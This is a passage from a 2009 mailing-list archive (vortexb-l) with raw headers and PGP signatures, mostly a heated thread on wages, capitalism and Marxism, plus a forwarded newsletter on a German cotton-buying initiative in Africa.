tick-tick-tick of the want >> > A uranium angel >> > Crying =93behold,=94 >> > This land that knew fire is yours >> > Taken from Corruption >> > To begin anew >> > >> > > > > -- > Never did I see a second sun > Never did my skin touch a land of glass > Never did my rifle point but true > But in a land empty of enemies > Waiting for the tick-tick-tick of the want > A uranium angel > Crying =93behold,=94 > This land that knew fire is yours > Taken from Corruption > To begin anew > From vortexb-l-request@eskimo.com Tue Jun 2 14:09:01 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n52L8ueo008395; Tue, 2 Jun 2009 14:08:56 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n52L8tFK008293; Tue, 2 Jun 2009 14:08:55 -0700 Resent-Date: Tue, 2 Jun 2009 14:08:55 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :from:date:message-id:subject:to:content-type; bh=SQ8SdCQ9+jMv5bA1lDyY9DkHBwPZxemdkhSnZC6bUZU=; b=BINkuKzkyeXnJv1mR8gP/ZkBG1Zc1oj6ID6+iggLzCPXoyMXqP9FdIqwdS5n2FMcP/ fppD65sL2Hel+VwbmBQKPTvjUnuqu72yuNAWQsUAi32FtzZ9iQ+xHCV+Qs9+sgve1XZV T2pjbIs/h/MDy5n6MfByLmTnVzPN6qlTXARZk= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:from:date:message-id:subject:to :content-type; b=NCpTBMr803M0p5+oKvB+pmMTjEmVeQcUi+r+oV3hSpreHh/urVhFJkSl/Dx9D6+EV3 YaKDGG98/zdPoRdY8aSlpfwDHOHuuuTTgUpQCAlSdIyi9hJd+Bh59fHTRSuOXnla1GpZ aeTv2rI+/arEDFJtuhnYxyOph3/780XlaqniA= MIME-Version: 1.0 In-Reply-To: References: <231d44230bb0.230bb0231d44@ncf.ca> <63ffa6020906020729x4ac57b12hb8200ce9d4958b6f@mail.gmail.com> <63ffa6020906021008y72ad7dbdx906f6374171ea365@mail.gmail.com> <63ffa6020906021154we56f7f7m8eb89de42e24823@mail.gmail.com> <63ffa6020906021226p2676246et16b42e9937b0505a@mail.gmail.com> From: Charles HOPE Date: Tue, 2 Jun 2009 17:08:33 -0400 Message-ID: <63ffa6020906021408i16cf7771n91e304f7ddf269f1@mail.gmail.com> Subject: Re: [VoB]:China vs. US To: vortexb-l@eskimo.com Content-Type: multipart/alternative; boundary=000e0cd1e8fc358f93046b63f368 Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4316 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 558 --000e0cd1e8fc358f93046b63f368 Content-Type: text/plain; charset=windows-1252 Content-Transfer-Encoding: quoted-printable Wage fixing? Minimum wage? What fraction of workers earn that? What nation are you in? On Tue, Jun 2, 2009 at 4:10 PM, leaking pen wrote: > aving not directly caused the poverty, > > > Yes, becuase offering low wages, as low as possible, wage fixing with > other iemployers, and spending lots of money on lobbyists to try and > block minimum wage laws is in no way CAUSING the poverty? You know > what, either you're lying, brainwashed, or just plain ignorant. I > haven't figured out which yet. > > On Tue, Jun 2, 2009 at 12:26 PM, Charles HOPE > wrote: > > So then how is it the responsibility of employers that some workers are > > hungry and will personally accept low wages? Having not directly caused > the > > poverty, they are hardly responsible for it, and in fact are prepared t= o > > provide the only sustainable solution for it. > > > > > > On Tue, Jun 2, 2009 at 3:15 PM, leaking pen wrote: > >> > >> Never confuse stupidity for malevolence. > >> No, i think all the big companies are mostly just greedy and stupid > >> > >> On Tue, Jun 2, 2009 at 11:54 AM, Charles HOPE > >> wrote: > >> > Are you really telling us that every employer is engaged in a vast > >> > conspiracy? > >> > > >> > > >> > > >> > On Tue, Jun 2, 2009 at 2:17 PM, leaking pen > wrote: > >> >> > >> >> how is squeezing labor out of people at a rate that keeps them in t= he > >> >> ghetto and prevents any real growth NOT causing it? > >> >> > >> >> On Tue, Jun 2, 2009 at 10:08 AM, Charles HOPE > >> >> wrote: > >> >> > This goes back to the question grok ignored: how is the employer > >> >> > responsible > >> >> > for your plight, unless they caused it themselves, directly? > >> >> > > >> >> > > >> >> > > >> >> > On Tue, Jun 2, 2009 at 1:00 PM, leaking pen > >> >> > wrote: > >> >> >> > >> >> >> Yes, starve quickly, or slave away for me and starve slowly, is = a > >> >> >> COMPLETELY voluntary transaction...Allowing individuals to explo= it > >> >> >> the > >> >> >> society for their benefit is JUST as broken as allowing society = to > >> >> >> exploit the individual for the benefit of society. there has to = be > a > >> >> >> medium. Face it, you don't believe in capitalism. You believe = in > >> >> >> feudalism. > >> >> >> > >> >> >> On Tue, Jun 2, 2009 at 7:29 AM, Charles HOPE > >> >> >> wrote: > >> >> >> > Your analysis will remain broken until you can distinguish > between > >> >> >> > voluntary > >> >> >> > and involuntary transactions. > >> >> >> > > >> >> >> > > >> >> >> > On Tue, Jun 2, 2009 at 10:06 AM, leaking pen < > itsatrap@gmail.com> > >> >> >> > wrote: > >> >> >> >> > >> >> >> >> Saying > >> >> >> >> that a business should be able to pay their workers whatever > they > >> >> >> >> want > >> >> >> >> is like saying that if a business doesn't like the cost of so= me > >> >> >> >> of > >> >> >> >> their raw materials, they have a right to go, steal the > >> >> >> >> materials, > >> >> >> >> and > >> >> >> >> leave whatever pittance they deem fair behind as payment. > >> >> >> > > >> >> >> > > >> >> >> > -- > >> >> >> > Never did I see a second sun > >> >> >> > Never did my skin touch a land of glass > >> >> >> > Never did my rifle point but true > >> >> >> > But in a land empty of enemies > >> >> >> > Waiting for the tick-tick-tick of the want > >> >> >> > A uranium angel > >> >> >> > Crying =93behold,=94 > >> >> >> > This land that knew fire is yours > >> >> >> > Taken from Corruption > >> >> >> > To begin anew > >> >> >> > > >> >> >> > >> >> > > >> >> > > >> >> > > >> >> > -- > >> >> > Never did I see a second sun > >> >> > Never did my skin touch a land of glass > >> >> > Never did my rifle point but true > >> >> > But in a land empty of enemies > >> >> > Waiting for the tick-tick-tick of the want > >> >> > A uranium angel > >> >> > Crying =93behold,=94 > >> >> > This land that knew fire is yours > >> >> > Taken from Corruption > >> >> > To begin anew > >> >> > > >> >> > >> > > >> > > >> > > >> > -- > >> > Never did I see a second sun > >> > Never did my skin touch a land of glass > >> > Never did my rifle point but true > >> > But in a land empty of enemies > >> > Waiting for the tick-tick-tick of the want > >> > A uranium angel > >> > Crying =93behold,=94 > >> > This land that knew fire is yours > >> > Taken from Corruption > >> > To begin anew > >> > > >> > > > > > > > > -- > > Never did I see a second sun > > Never did my skin touch a land of glass > > Never did my rifle point but true > > But in a land empty of enemies > > Waiting for the tick-tick-tick of the want > > A uranium angel > > Crying =93behold,=94 > > This land that knew fire is yours > > Taken from Corruption > > To begin anew > > > > --=20 Never did I see a second sun Never did my skin touch a land of glass Never did my rifle point but true But in a land empty of enemies Waiting for the tick-tick-tick of the want A uranium angel Crying =93behold,=94 This land that knew fire is yours Taken from Corruption To begin anew --000e0cd1e8fc358f93046b63f368 Content-Type: text/html; charset=windows-1252 Content-Transfer-Encoding: quoted-printable Wage fixing? Minimum wage? What fraction of workers earn that? What nation = are you in?



On Tue, Jun 2, 2009 a= t 4:10 PM, leaking pen <itsatrap@gmail.com> wrote:
aving not directly caused the poverty,


Yes, becuase offering low wages, as low as possible, wage fixing with=
other iemployers, =A0and spending lots of money on lobbyists to try and
block minimum wage laws is in no way CAUSING the poverty? =A0You know
what, either you're lying, brainwashed, or just plain ignorant. =A0I haven't figured out which yet.

On Tue, Jun 2, 2009 at 12:26 PM, Charles HOPE
<lookslikeiwasright@gmail.com> wrote:
> So then how is it the responsibility of employers that some workers ar= e
> hungry and will personally accept low wages? Having not directly cause= d the
> poverty, they are hardly responsible for it, and in fact are prepared = to
> provide the only sustainable solution for it.
>
>
> On Tue, Jun 2, 2009 at 3:15 PM, leaking pen <itsatrap@gmail.com> wrote:
>>
>> Never confuse stupidity for malevolence.
>> No, i think all the big companies are mostly just greedy and stupi= d
>>
>> On Tue, Jun 2, 2009 at 11:54 AM, Charles HOPE
>> <lookslikeiwasr= ight@gmail.com> wrote:
>> > Are you really telling us that every employer is engaged in a= vast
>> > conspiracy?
>> >
>> >
>> >
>> > On Tue, Jun 2, 2009 at 2:17 PM, leaking pen <itsatrap@gmail.com> wrote:
>> >>
>> >> how is squeezing labor out of people at a rate that keeps= them in the
>> >> ghetto and prevents any real growth NOT causing it?
>> >>
>> >> On Tue, Jun 2, 2009 at 10:08 AM, Charles HOPE
>> >> <looks= likeiwasright@gmail.com> wrote:
>> >> > This goes back to the question grok ignored: how is = the employer
>> >> > responsible
>> >> > for your plight, unless they caused it themselves, d= irectly?
>> >> >
>> >> >
>> >> >
>> >> > On Tue, Jun 2, 2009 at 1:00 PM, leaking pen <itsatrap@gmail.com>
>> >> > wrote:
>> >> >>
>> >> >> Yes, starve quickly, or slave away for me and st= arve slowly, is a
>> >> >> COMPLETELY voluntary transaction...Allowing indi= viduals to exploit
>> >> >> the
>> >> >> society for their benefit is JUST as broken as a= llowing society to
>> >> >> exploit the individual for the benefit of societ= y. there has to be a
>> >> >> medium. =A0Face it, you don't believe in cap= italism. =A0You believe in
>> >> >> feudalism.
>> >> >>
>> >> >> On Tue, Jun 2, 2009 at 7:29 AM, Charles HOPE
>> >> >> <lookslikeiwasright@gmail.com> wrote:
>> >> >> > Your analysis will remain broken until you = can distinguish between
>> >> >> > voluntary
>> >> >> > and involuntary transactions.
>> >> >> >
>> >> >> >
>> >> >> > On Tue, Jun 2, 2009 at 10:06 AM, leaking pe= n <itsatrap@gmail.com>
>> >> >> > wrote:
>> >> >> >>
>> >> >> >> Saying
>> >> >> >> that a business should be able to pay t= heir workers whatever they
>> >> >> >> want
>> >> >> >> is like saying that if a business doesn= 't like the cost of some
>> >> >> >> of
>> >> >> >> their raw materials, they have a right = to go, steal the
>> >> >> >> materials,
>> >> >> >> and
>> >> >> >> leave whatever pittance they deem fair = behind as payment.
>> >> >> >
>> >> >> >
>> >> >> > --
>> >> >> > Never did I see a second sun
>> >> >> > Never did my skin touch a land of glass
>> >> >> > Never did my rifle point but true
>> >> >> > But in a land empty of enemies
>> >> >> > Waiting for the tick-tick-tick of the want<= br> >> >> >> > A uranium angel
>> >> >> > Crying =93behold,=94
>> >> >> > This land that knew fire is yours
>> >> >> > Taken from Corruption
>> >> >> > To begin anew
>> >> >> >
>> >> >>
>> >> >
>> >> >
>> >> >
>> >> > --
>> >> > Never did I see a second sun
>> >> > Never did my skin touch a land of glass
>> >> > Never did my rifle point but true
>> >> > But in a land empty of enemies
>> >> > Waiting for the tick-tick-tick of the want
>> >> > A uranium angel
>> >> > Crying =93behold,=94
>> >> > This land that knew fire is yours
>> >> > Taken from Corruption
>> >> > To begin anew
>> >> >
>> >>
>> >
>> >
>> >
>> > --
>> > Never did I see a second sun
>> > Never did my skin touch a land of glass
>> > Never did my rifle point but true
>> > But in a land empty of enemies
>> > Waiting for the tick-tick-tick of the want
>> > A uranium angel
>> > Crying =93behold,=94
>> > This land that knew fire is yours
>> > Taken from Corruption
>> > To begin anew
>> >
>>
>
>
>
> --
> Never did I see a second sun
> Never did my skin touch a land of glass
> Never did my rifle point but true
> But in a land empty of enemies
> Waiting for the tick-tick-tick of the want
> A uranium angel
> Crying =93behold,=94
> This land that knew fire is yours
> Taken from Corruption
> To begin anew
>




--
Never did I= see a second sun
Never did my skin touch a land of glass
Never did m= y rifle point but true
But in a land empty of enemies
Waiting for the= tick-tick-tick of the want
A uranium angel
Crying =93behold,=94
This land that knew fire is your= s
Taken from Corruption
To begin anew
--000e0cd1e8fc358f93046b63f368-- From vortexb-l-request@eskimo.com Tue Jun 2 16:01:26 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n52N1NRc031332; Tue, 2 Jun 2009 16:01:23 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n52N1MGU031318; Tue, 2 Jun 2009 16:01:22 -0700 Resent-Date: Tue, 2 Jun 2009 16:01:21 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Tue, 2 Jun 2009 16:01:15 -0700 From: grok To: vortexb-l@eskimo.com Message-ID: <20090602230115.GB1491@shell.resist.ca> Reply-To: grok@resist.ca MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8; x-action=pgp-signed Content-Disposition: inline X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0x461BB771 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 2E7F 2D69 4B0B C8D5 07E3 09C3 5E8D C4B4 461B B771 X-Echelon: SIG, passive jamming, Tbilisi, Heritage Foundation, An-140 User-Agent: Mutt/1.5.18 (2008-05-17) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4317 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Subject: [VoB]:Newsletter 2009/06/02 - Cotton Club (Development Aid and Trade Policy) Status: O X-Status: X-Keywords: X-UID: 559 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Since one of youse was trying to pull the ol' "Amur'kuh is the foreign aid kingpin" garbage on me here, let me forward youse in response some little insight into the same scam as it is being run by the imperialist eurotrash, for essentially the same purposes. - -- grok. - ----- Forwarded message from German-Foreign-Policy ----- From: German-Foreign-Policy Date: Wed, 3 Jun 2009 00:15:33 +0200 Subject: Newsletter 2009/06/02 - Cotton Club (Development Aid and Trade Policy) To: grok@resist.ca Reply-to: newsletter@german-foreign-policy.com Message-ID: Newsletter 2009/06/02 - Cotton Club HAMBURG (Own report) - With millions in government "development aid" financing, German textile and commercial companies are forging a purchasers' cartel for African cotton in competition with their US rivals. They seek to take control of several hundreds of thousands of West and South African cotton producers, who will have to commit themselves to produce cotton exclusively in accordance with specific guidelines established by the cartel. Planting gene manipulated cotton is not excluded. The declared objective of this initiative is to outdo the main cotton exporter, the USA and enhance the competitiveness of the German textile business. This new cotton cartel is not only being supported by state institutions, such as the millions from the German "development aid," it is also being promoted by NGOs such as the "German Agro Action" and the Nature and Biodiversity Conservation Union (NABU). more http://www.german-foreign-policy.com/en/fulltext/56251 To unsubscribe open the following link in your browser: http://www.german-foreign-policy.com/en/info/nl.php - ----- End forwarded message ----- - -- Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) iEYEARECAAYFAkolrzsACgkQXo3EtEYbt3H27gCeNrRkTHiqvHAqVHwJr3lUkQfT Ad8An1G0ykVs6zFPY8SXigF/Ln7TnrDO =ytbc -----END PGP SIGNATURE----- From vortexb-l-request@eskimo.com Tue Jun 2 21:03:37 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n5343Ybs023867; Tue, 2 Jun 2009 21:03:35 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n5343XHR023860; Tue, 2 Jun 2009 21:03:33 -0700 Resent-Date: Tue, 2 Jun 2009 21:03:33 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f From: Harry Veeder To: vortexb-l@eskimo.com Message-ID: <3583a3353ee7.353ee73583a3@ncf.ca> Date: Wed, 03 Jun 2009 00:03:30 -0400 X-Mailer: iPlanet Messenger Express 5.2 Patch 2 (built Jul 14 2004) MIME-Version: 1.0 Content-Language: en Subject: Re: [VoB]:China vs. US X-Accept-Language: en Priority: normal Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: 7bit Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4318 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 560 ----- Original Message ----- From: leaking pen Date: Tuesday, June 2, 2009 1:00 pm Subject: Re: [VoB]:China vs. US > Yes, starve quickly, or slave away for me and starve slowly, is a > COMPLETELY voluntary transaction...Allowing individuals to exploit the > society for their benefit is JUST as broken as allowing society to > exploit the individual for the benefit of society. there has to be a > medium. Face it, you don't believe in capitalism. You believe in > feudalism. Capitalists use the state to maintain a "reserve army of labor". Harry From vortexb-l-request@eskimo.com Tue Jun 2 21:11:48 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n534BjdE019323; Tue, 2 Jun 2009 21:11:45 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n534BiXG019260; Tue, 2 Jun 2009 21:11:44 -0700 Resent-Date: Tue, 2 Jun 2009 21:11:44 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Tue, 2 Jun 2009 21:11:23 -0700 From: grok To: vortexb-l@eskimo.com Subject: Re: [VoB]:China vs. US Message-ID: <20090603041123.GC14316@shell.resist.ca> Reply-To: grok@resist.ca References: <3583a3353ee7.353ee73583a3@ncf.ca> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8; x-action=pgp-signed Content-Disposition: inline In-Reply-To: <3583a3353ee7.353ee73583a3@ncf.ca> X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0x461BB771 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 2E7F 2D69 4B0B C8D5 07E3 09C3 5E8D C4B4 461B B771 X-Echelon: CICAP, SCRAMjet, Gray Data, rocket-propelled bomb, burned User-Agent: Mutt/1.5.18 (2008-05-17) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4319 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 561 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 As the smoke cleared, Harry Veeder mounted the barricade and roared out: > > > ----- Original Message ----- > From: leaking pen > Date: Tuesday, June 2, 2009 1:00 pm > Subject: Re: [VoB]:China vs. US > > > Yes, starve quickly, or slave away for me and starve slowly, is a > > COMPLETELY voluntary transaction...Allowing individuals to exploit the > > society for their benefit is JUST as broken as allowing society to > > exploit the individual for the benefit of society. there has to be a > > medium. Face it, you don't believe in capitalism. You believe in > > feudalism. hehehe... > Capitalists use the state to maintain a "reserve army of labor". > > Harry Yes they do, indeed. BTW: Where is the "Darwin/Marx" article I forwarded here? Twice? - -- grok. - -- Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) iEYEARECAAYFAkol9+sACgkQXo3EtEYbt3G6aACg3cbYxjtSKEYwUX31ii3PpMpO 79oAmwfcTpYi6bCm7ho4u+9Rv8nSKK0E =uvkm -----END PGP SIGNATURE----- From vortexb-l-request@eskimo.com Tue Jun 2 21:20:19 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n534KHdV023410; Tue, 2 Jun 2009 21:20:17 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n534KG7g023399; Tue, 2 Jun 2009 21:20:16 -0700 Resent-Date: Tue, 2 Jun 2009 21:20:16 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :from:date:message-id:subject:to:content-type; bh=+egMbGJbNoEjIebMonREb7oOHvg/bTFHMET5uHChTrE=; b=jaDob1ttflu93ZOpIUHKtxCi6X3UiQRTHLPv/77DiZb5YTb4h44GyG1Ivp3eQ8lZEK K7ZWm38fv7+pfUqqsO7gmmPFZI917eu8fW5DdtDS1T4QaxHHiBpCgMsSy3/QEE+POSv2 e8gOydho0FklogO6Fw2pH72uS2mj6tve+GWs8= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:from:date:message-id:subject:to :content-type; b=XvO2aKV3CYAUcmZAv9I1g+mpTv0ivkQoYQtxRH46P4B5LX/8PPFe4AtWEKmxLJM8oU p6JclVB1UXRS3j84OzKnZUtPG5FKuyfmHDy7VPRL41nT41YL9HNLgY8J85zVk56wo+8e BlNCQc5jQ+NQHedh5ZSg1TVd/vetc6oENM+cM= MIME-Version: 1.0 In-Reply-To: <3583a3353ee7.353ee73583a3@ncf.ca> References: <3583a3353ee7.353ee73583a3@ncf.ca> From: Charles HOPE Date: Wed, 3 Jun 2009 00:19:54 -0400 Message-ID: <63ffa6020906022119j60e6cfe9yc36805190ab369b4@mail.gmail.com> Subject: Re: [VoB]:China vs. US To: vortexb-l@eskimo.com Content-Type: multipart/alternative; boundary=0015174c3d10d5c5b8046b69f95b Resent-Message-ID: <1U8_PD.A.htF.AofJKB@ultra6.eskimo.com> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4320 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 562 --0015174c3d10d5c5b8046b69f95b Content-Type: text/plain; charset=windows-1252 Content-Transfer-Encoding: quoted-printable You know, one way to ensure some unemployment is with a minimum wage, right= ? Because of those pesky demand/supply laws that Marxists think they can overrule with sheer force of will. On Wed, Jun 3, 2009 at 12:03 AM, Harry Veeder wrote: > > > ----- Original Message ----- > From: leaking pen > Date: Tuesday, June 2, 2009 1:00 pm > Subject: Re: [VoB]:China vs. US > > > Yes, starve quickly, or slave away for me and starve slowly, is a > > COMPLETELY voluntary transaction...Allowing individuals to exploit the > > society for their benefit is JUST as broken as allowing society to > > exploit the individual for the benefit of society. there has to be a > > medium. Face it, you don't believe in capitalism. You believe in > > feudalism. > > Capitalists use the state to maintain a "reserve army of labor". > > Harry > > --=20 Never did I see a second sun Never did my skin touch a land of glass Never did my rifle point but true But in a land empty of enemies Waiting for the tick-tick-tick of the want A uranium angel Crying =93behold,=94 This land that knew fire is yours Taken from Corruption To begin anew --0015174c3d10d5c5b8046b69f95b Content-Type: text/html; charset=windows-1252 Content-Transfer-Encoding: quoted-printable You know, one way to ensure some unemployment is with a minimum wage, right= ? Because of those pesky demand/supply laws that Marxists think they can ov= errule with sheer force of will.



On Wed, Jun 3, 2009 at 12:03 AM, Harry Veeder <hveeder@ncf.ca> wrote:


----- Original Message -----
From: leaking pen <itsatrap@gmail.= com>
Date: Tuesday, June 2, 2009 1:00 pm
Subject: Re: [VoB]:China vs. US

> Yes, starve quickly, or slave away for me and = starve slowly, is a
> COMPLETELY voluntary transaction...Allowing individuals to exploit the=
> society for their benefit is JUST as broken as allowing society to
> exploit the individual for the benefit of society. there has to be a > medium. =A0Face it, you don't believe in capitalism. =A0You believ= e in
> feudalism.

Capitalists use the state to maintain a "reserve army of labor&q= uot;.

Harry




--
Never did I see = a second sun
Never did my skin touch a land of glass
Never did my rif= le point but true
But in a land empty of enemies
Waiting for the tick= -tick-tick of the want
A uranium angel
Crying =93behold,=94
This land that knew fire is your= s
Taken from Corruption
To begin anew
--0015174c3d10d5c5b8046b69f95b-- From vortexb-l-request@eskimo.com Tue Jun 2 21:48:40 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n534mbdK005441; Tue, 2 Jun 2009 21:48:37 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n534mb2B005431; Tue, 2 Jun 2009 21:48:37 -0700 Resent-Date: Tue, 2 Jun 2009 21:48:37 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Tue, 2 Jun 2009 21:48:30 -0700 From: grok To: vortexb-l@eskimo.com Subject: Re: [VoB]:China vs. US Message-ID: <20090603044830.GD14316@shell.resist.ca> Reply-To: grok@resist.ca References: <3583a3353ee7.353ee73583a3@ncf.ca> <63ffa6020906022119j60e6cfe9yc36805190ab369b4@mail.gmail.com> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8; x-action=pgp-signed Content-Disposition: inline In-Reply-To: <63ffa6020906022119j60e6cfe9yc36805190ab369b4@mail.gmail.com> X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0x461BB771 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 2E7F 2D69 4B0B C8D5 07E3 09C3 5E8D C4B4 461B B771 X-Echelon: CICAP, SCRAMjet, Gray Data, rocket-propelled bomb, burned User-Agent: Mutt/1.5.18 (2008-05-17) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4321 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 563 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 As the smoke cleared, Charles HOPE mounted the barricade and roared out: > You know, one way to ensure some unemployment is with a minimum wage, right? > Because of those pesky demand/supply laws that Marxists think they can > overrule with sheer force of will. Oh what an idiot you are. Right this *very* moment it is in fact *your* capitalist Masters who are attempting to do that very thing: a criminal and ultimately doomed ideological act of financial swindling, which has absolutely ZERO to do with marxism - -- and *100%* to do with the loudly proclaimed "rugged individualism" of those whose equally-deluded antecessors litter the landscape with the detritus of your "Great Man Theory of History". Chump. As I keep saying: youse are one HELL of a deluded bunch of bananas. Besides the fact that Karl Marx was the MASTER of explaining and finally revealing the place in capitalist ekonomix of "supply and demand" logic. But the hell you know. You don't HAVE to, right..? - --grok. - -- Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) iEYEARECAAYFAkomAJ4ACgkQXo3EtEYbt3HyUgCfalcmQ6A1AGNgVa6FiJHQ7nIr CikAoKftTfLvmAMripLgjXVoh2QlKdTy =j20q -----END PGP SIGNATURE----- From vortexb-l-request@eskimo.com Wed Jun 3 14:36:18 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n53LaG93023991; Wed, 3 Jun 2009 14:36:16 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n53LaCIA023964; Wed, 3 Jun 2009 14:36:12 -0700 Resent-Date: Wed, 3 Jun 2009 14:36:12 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Wed, 3 Jun 2009 14:35:58 -0700 From: grok To: vortexb-l@eskimo.com Cc: Edmund Storms Message-ID: <20090603213557.GA4263@shell.resist.ca> Reply-To: grok@resist.ca References: <7.0.1.0.2.20090603154722.039813a8@gmail.com> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8; x-action=pgp-signed Content-Disposition: inline In-Reply-To: X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0x461BB771 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 2E7F 2D69 4B0B C8D5 07E3 09C3 5E8D C4B4 461B B771 X-Echelon: Babur, SA80, NRO, Anonymous, Sar-e-Pol User-Agent: Mutt/1.5.18 (2008-05-17) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4322 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Subject: [VoB]:Re: [Vo]:Shanahan goes off the deep end! Status: RO X-Status: X-Keywords: X-UID: 564 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 As the smoke cleared, Edmund Storms mounted the barricade and roared out: > As I said in my talk at Univ. of Missouri, "skeptics have to believe > that everyone studying cold fusion makes mistakes that are only visible > to a skeptic". Shanahan proves this point very nicely. The attitude > comes from an excessive ego without any compensating humility. The > reaction says more about the person making the statements than about the > subject of CF. Such people should be treated like any irrational person > is treated, i.e. ignored. > > Ed Methinx he doth -- like most of youse -- protest TOO much. You're not fooling anyone, AFAIC. - -- grok. - -- Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. -----BEGIN PGP SIGNATURE----- Version: GnuPG 